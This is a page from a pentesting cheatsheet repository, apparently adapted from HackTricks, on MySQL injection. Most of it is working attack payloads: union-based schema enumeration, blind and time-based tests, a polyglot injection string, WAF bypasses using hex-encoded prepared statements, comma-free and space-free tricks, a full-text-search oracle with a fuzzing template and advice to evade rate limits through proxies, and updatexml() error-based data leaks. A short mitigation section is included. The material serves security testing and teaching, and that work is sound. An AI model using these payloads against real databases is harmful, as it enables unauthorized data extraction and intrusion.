daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (13161B)


      1 ---
      2 title: "MySQL injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/mysql-injection/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/mysql-injection/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # MySQL injection
     14 
     15 ## Comments
     16 
     17 ```sql
     18 -- MYSQL Comment
     19 # MYSQL Comment
     20 /* MYSQL Comment */
     21 /*! MYSQL Special SQL */
     22 /*!32302 10*/ Comment for MySQL version 3.23.02
     23 ```
     24 
     25 ## Interesting Functions
     26 
     27 ### Confirm Mysql:
     28 
     29 ```text
     30 concat('a','b')
     31 database()
     32 version()
     33 user()
     34 system_user()
     35 @@version
     36 @@datadir
     37 rand()
     38 floor(2.9)
     39 length(1)
     40 count(1)
     41 ```
     42 
     43 ### Useful functions
     44 
     45 ```sql
     46 SELECT hex(database())
     47 SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
     48 SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
     49 SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
     50 SELECT replace(database(),"r","R")
     51 SELECT substr(database(),1,1)='r'
     52 SELECT substring(database(),1,1)=0x72
     53 SELECT ascii(substring(database(),1,1))=114
     54 SELECT database()=char(114,101,120,116,101,115,116,101,114)
     55 SELECT group_concat(<COLUMN>) FROM <TABLE>
     56 SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
     57 SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
     58 strcmp(),mid(),lpad(),rpad(),left(),right(),instr(),sleep()
     59 ```
     60 
     61 ## All injection
     62 
     63 ```sql
     64 SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
     65 ```
     66 
     67 from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)<sup>[[7]](#references)</sup>
     68 
     69 ## Flow
     70 
     71 Remember that in "modern" versions of **MySQL** you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**"** (This could be useful to bypass WAFs).
     72 
     73 ```sql
     74 SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
     75 SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
     76 SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
     77 SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
     78 ```
     79 
     80 ### **Only 1 value**
     81 
     82 - `group_concat()`
     83 - `Limit X,1`
     84 
     85 ### **Blind one by one**
     86 
     87 - `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
     88 - `mid(version(),X,1)='5'`
     89 
     90 ### **Blind adding**
     91 
     92 - `LPAD(version(),1...length(version()),'1')='asd'...`
     93 - `RPAD(version(),1...length(version()),'1')='asd'...`
     94 - `SELECT RIGHT(version(),1...length(version()))='asd'...`
     95 - `SELECT LEFT(version(),1...length(version()))='asd'...`
     96 - `SELECT INSTR('foobarbar', 'fo...')=1`
     97 
     98 ## Detect number of columns
     99 
    100 Using a simple ORDER
    101 
    102 ```text
    103 order by 1
    104 order by 2
    105 order by 3
    106 ...
    107 order by XXX
    108 
    109 UniOn SeLect 1
    110 UniOn SeLect 1,2
    111 UniOn SeLect 1,2,3
    112 ...
    113 ```
    114 
    115 ## MySQL Union Based
    116 
    117 ```sql
    118 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
    119 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
    120 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
    121 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
    122 ```
    123 
    124 ## SSRF
    125 
    126 **Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](/hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf)**.**
    127 
    128 ## WAF bypass tricks
    129 
    130 ### Executing queries through Prepared Statements
    131 
    132 When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
    133 
    134 ```text
    135 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
    136 ```
    137 
    138 For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).<sup>[[8]](#references)</sup>
    139 
    140 ### Information_schema alternatives
    141 
    142 Remember that in "modern" versions of **MySQL** you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_ or for _**sys.x$schema_flattened_keys**_ or for **sys.schema_table_statistics**
    143 
    144 ### MySQLinjection without COMMAS
    145 
    146 Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):<sup>[[9]](#references)</sup>
    147 
    148 ```text
    149 -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
    150 ```
    151 
    152 ### Retrieving values without the column name
    153 
    154 If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
    155 
    156 ```bash
    157 # When a True is returned, you have found the number of columns
    158 select (select "", "") = (SELECT * from demo limit 1);     # 2columns
    159 select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
    160 ```
    161 
    162 Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
    163 
    164 ```bash
    165 # When True, you found the correct char and can start ruteforcing the next position
    166 select (select 1, 'flaf') = (SELECT * from demo limit 1);
    167 ```
    168 
    169 More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)<sup>[[10]](#references)</sup>
    170 
    171 ### Injection without SPACES (`/**/` comment trick)
    172 
    173 Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**.  
    174 Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.<sup>[[1]](#references)</sup>
    175 
    176 Example time-based blind injection bypassing the space filter:
    177 
    178 ```http
    179 GET /api/fabric/device/status HTTP/1.1
    180 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
    181 ```
    182 
    183 Which the database receives as:
    184 
    185 ```sql
    186 ' OR SLEEP(5)-- -'
    187 ```
    188 
    189 This is especially handy when:
    190 
    191 * The controllable buffer is restricted in size (e.g. `%128s`) and spaces would prematurely terminate the input.
    192 * Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
    193 * Combined with `INTO OUTFILE` primitives to achieve full pre-auth RCE (see the MySQL File RCE section).
    194 
    195 ---
    196 
    197 ### MySQL history
    198 
    199 You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
    200 
    201 ### Version alternative**s**
    202 
    203 ```text
    204 mysql> select @@innodb_version;
    205 mysql> select @@version;
    206 mysql> select version();
    207 ```
    208 
    209 ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
    210 
    211 This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.<sup>[[5]](#references)</sup>
    212 
    213 Key points:
    214 - Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs.<sup>[[2]](#references)[[3]](#references)</sup>
    215 - This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`.
    216 - Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.
    217 
    218 Example query built by the backend:
    219 
    220 ```sql
    221 SELECT tid, firstpost
    222 FROM threads
    223 WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
    224 ```
    225 
    226 If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.
    227 
    228 Sanitizer bypass patterns (generic):
    229 - Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like `(\b.{1,2})(\s)|(\b.{1,2}$)`, submit `prefix*ZZ`. The cleaner trims the `ZZ` but leaves the `*`, so `prefix*` survives.
    230 - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
    231 
    232 Payload template (URL-encoded):
    233 
    234 ```text
    235 keywords=%26%26%26%26%26+%2B{FUZZ}*xD
    236 ```
    237 
    238 - `%26` is `&`, `%2B` is `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
    239 - Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
    240 
    241 Enumeration workflow:
    242 1) Start with `{FUZZ} = a…z,0…9` to find first-letter matches via `+a*`, `+b*`, …
    243 2) For each positive prefix, branch: `a* → aa* / ab* / …`. Repeat to recover the whole string.
    244 3) Distribute requests (proxies, multiple accounts) if the app enforces flood control.
    245 
    246 Why titles often leak while contents don’t:
    247 - Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
    248 
    249 Mitigations:
    250 - If you don’t need Boolean logic, use `IN NATURAL LANGUAGE MODE` or treat user input as a literal (escape/quote disables operators in other modes).
    251 - If Boolean mode is required, strip or neutralize all Boolean operators (`+ - * " ( ) < > ~`) for every token (no early breaks) after tokenization.
    252 - Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
    253 - Review analogous features in other DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` also parse operators inside quoted arguments.
    254 
    255 Notes:
    256 - Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards.<sup>[[4]](#references)</sup>
    257 
    258 ## Error-based exfiltration via `updatexml()`
    259 
    260 When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:
    261 
    262 ```sql
    263 dimension: id {
    264   type: number
    265   sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
    266 }
    267 ```
    268 
    269 `updatexml()` raises an XPATH error that embeds the concatenated string, so the value from the inner `SELECT` appears in the error response between delimiters (`0x7e` = `~`). Iterate `LIMIT 1 OFFSET N` to enumerate rows. This works even when the UI forces “boolean” tests because the error message is still surfaced.<sup>[[6]](#references)</sup>
    270 
    271 ## Other MYSQL injection guides
    272 
    273 - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
    274 
    275 ## References
    276 
    277 - [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
    278 - [2] [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
    279 - [3] [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
    280 - [4] [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
    281 - [5] [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
    282 - [6] [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout)
    283 - [7] [The ultimate SQL Injection payload](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
    284 - [8] [ImpressCMS: from unauthenticated SQL Injection to RCE](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)
    285 - [9] [How make SQL SELECT query without comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)
    286 - [10] [Blind SQL Injection without an 'in'](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)